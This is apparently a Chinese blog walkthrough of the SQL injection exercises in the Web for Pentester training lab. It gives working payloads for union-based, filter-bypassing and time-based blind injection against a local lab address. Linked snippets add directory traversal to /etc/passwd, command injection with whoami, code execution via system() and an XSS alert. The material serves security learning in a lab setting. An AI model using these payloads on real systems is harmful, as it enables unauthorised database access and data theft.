【渗透测试学习平台】 web for pentester -2.SQL注入
Example 1
字符类型的注入,无过滤
http://192.168.91.139/sqli/example1.php?name=root
http://192.168.91.139/sqli/example1.php?name=root' and 1=1%23
http://192.168.91.139/sqli/example1.php?name=root' and 1=2%23
http://192.168.91.139/sqli/example1.php?name=root' union select 1,2,3,4,5%23
Example 2
与example1差不多,过滤了空格,语句中存现空格就会报错
mysql注入绕过空格过滤的方法:
1、水平制表(HT) url编码:%09
2、注释绕过空格 /*注释*/
3、括号绕过空格的方法,在time based盲注中
index.php?id=(sleep(ascii(mid(user()from(2)for(1)))=109))
特点:1) 既没有用到逗号、大小于符号 2) 也没有使用空格 却可以完成数据的猜解工作!
http://192.168.91.139/sqli/example2.php?name=root'%09and%091=1%23
http://192.168.91.139/sqli/example2.php?name=root'%09and%091=2%23
http://192.168.91.139/sqli/example2.php?name=root'/**/union/**/select/**/1,2,3,4,5%23
Example 3
在example的基础上,\s匹配任何空白字符,包括空格、制表符、换页符等,全部过滤掉
可以使用example2中 /*注释*/ 绕过过滤
http://192.168.91.139/sqli/example3.php?name=root'/**/union/**/select/**/1,2,3,4,5%23
Example 4
数值型的注入,过滤了单引号等,对数值型无效
http://192.168.91.139/sqli/example4.php?id=3 union select 1,2,3,4,5
Example 5
与前面类似,以一个数字开头的,后面可添加构造的sql语句进行攻击测试
http://192.168.91.139/sqli/example5.php?id=2 and 1=1--
http://192.168.91.139/sqli/example5.php?id=2 and 1=2--
Example 6
正则表达式值确保了参数id是以一个数字结尾的.他不能确保id参数的开头是合法的.
你可以变通一下前面说到的检测方法.你只需要在你的payload后面加上数字.比如你可以这样:1 or 1=1 # 123.
http://192.168.91.139/sqli/example6.php?id=2 union select 1,2,3,4,5 %23 123
Example 7
解法一:
换行 \n的url编码是%0a
这边纠结了好久,最终使用了-- %23 才能注释掉后面语句
http://192.168.91.139/sqli/example7.php?id=2 and if(ascii(substring(user(),1,1))=112,sleep(1),0)--%23%0a123
解法二:
http://192.168.91.139/sqli/example7.php?id=' and 1=1 %0a1%0a' union select version(),2,3,4,5 %23
Example 8
order by `name` 报错注入出不来,用了时间盲注一个一个猜解
http://192.168.91.139/sqli/example8.php
?order=name` xor if(ascii(substring(user(),1,1))=111,sleep(5),0)%23
Example 9
与 example8类似,可以通过时间盲注进行逐一猜解
http://192.168.91.139/sqli/example9.php?order=1 xor if(ascii(substring(user(),1,1))=112,sleep(5),0)%23
参考链接:
Web for Pentester II :https://pentesterlab.com/exercises/web_for_pentester/course
Web渗透测试攻略 [三]: http://www.2cto.com/Article/201401/275482.html
Web渗透测试攻略[四]:http://www.tuicool.com/articles/EFV3UzF
Web渗透测试攻略[五]:http://www.tuicool.com/articles/Iza63eM
【渗透测试学习平台】 web for pentester -2.SQL注入的更多相关文章
- Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过
Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...
- 【渗透测试学习平台】 web for pentester -1.介绍与安装
web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术. 官网:https://www.pentesterlab.com 下载地址: ...
- 【渗透测试学习平台】 web for pentester -7.文件包含
Example 1 输入单引号,报错,得到物理路径 可通过../../../../etc/paaswd 读取敏感信息 可包含本地文件或远程文件 https://assets.pentesterlab. ...
- 【渗透测试学习平台】 web for pentester -4.XML
example1: http://192.168.91.139/xml/example1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%2 ...
- 【渗透测试学习平台】 web for pentester -3.XSS
Example 1 http://192.168.91.139/xss/example1.php?name=hacker<script>alert('xss')</script> ...
- 【渗透测试学习平台】 web for pentester -8.XML
example1: http://192.168.91.139/xml/example1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%2 ...
- 【渗透测试学习平台】 web for pentester -6.命令执行
命令执行漏洞 windows支持: | ping 127.0.0.1|whoami || ping 2 || whoami (哪条名 ...
- 【渗透测试学习平台】 web for pentester -5.代码执行
Example 1 http://192.168.106.154/codeexec/example1.php?name=".system('uname -a');// Example 2 h ...
- 【渗透测试学习平台】 web for pentester -4.目录遍历
Example 1 http://192.168.106.154/dirtrav/example1.php?file=../../../../../../../etc/passwd Example 2 ...
随机推荐
- 三元运算+lambda表达式
#三元运算,三目运算,if else简写 if 1 == 1: name = "liangml" else: name = "NB" #如果 1==1 成立,n ...
- 神奇的Noip模拟试题一试 2 排队
2 排队 (lineup.pas/.c/.cpp) [问题描述] 小sin所在的班有n名同学,正准备排成一列纵队,但他们不想按身高从矮到高排,那样太单调,太没个性.他们希望恰好有k对同学是高的在前,矮 ...
- 屏蔽Win10升级通知方法
对于有系统洁癖的我来说,不喜欢还原和自动升级,我更乐意使用全新安装的方式来装系统! 据说微软也知道这种方式有时候的确很讨人嫌,因此就低调的在美国微软社区中给出了屏蔽这项通知的官方"大法&qu ...
- Linux摄像头驱动学习之:(二)通过虚拟驱动vivi分析摄像头驱动
一.通过指令 "strace -o xawtv.log xawtv" 得到以下调用信息:// 1~7都是在v4l2_open里调用1. open2. ioctl(4, VIDIOC ...
- C语言实例代码
绘制余弦曲线和直线 #include #include int main() { double y; int x,m,n,yy; for(yy=0;yy<=20;yy++) {y=0.1*yy; ...
- [转]AndroidManifest.xml文件详解
转自:http://www.cnblogs.com/greatverve/archive/2012/05/08/AndroidManifest-xml.html AndroidManifest.xml ...
- <二叉树的基本操作(有层次遍历)>
#include<stdio.h> #include<stdlib.h> #include<string.h> #define num 100 #define OK ...
- numpy中的broadcast
关于broadcast,官方文档描述如下: Each universal function takes array inputs and produces array outputs by perfo ...
- js中的apply调用
今天看了阮一锋老师的一篇文章,感觉很明了对闭包的理解,尤其是文章中的apply的介绍 apply()是函数对象的一个方法,它的作用是改变函数的调用对象,它的第一个参数就表示改变后的调用这个函数的对象. ...
- Qt 中使用vector
新建Empty qmake project,包含如下两个文件: .pro文件 SOURCES += \ main.cpp QT += core CONFIG += c++11 // 支持C++11 . ...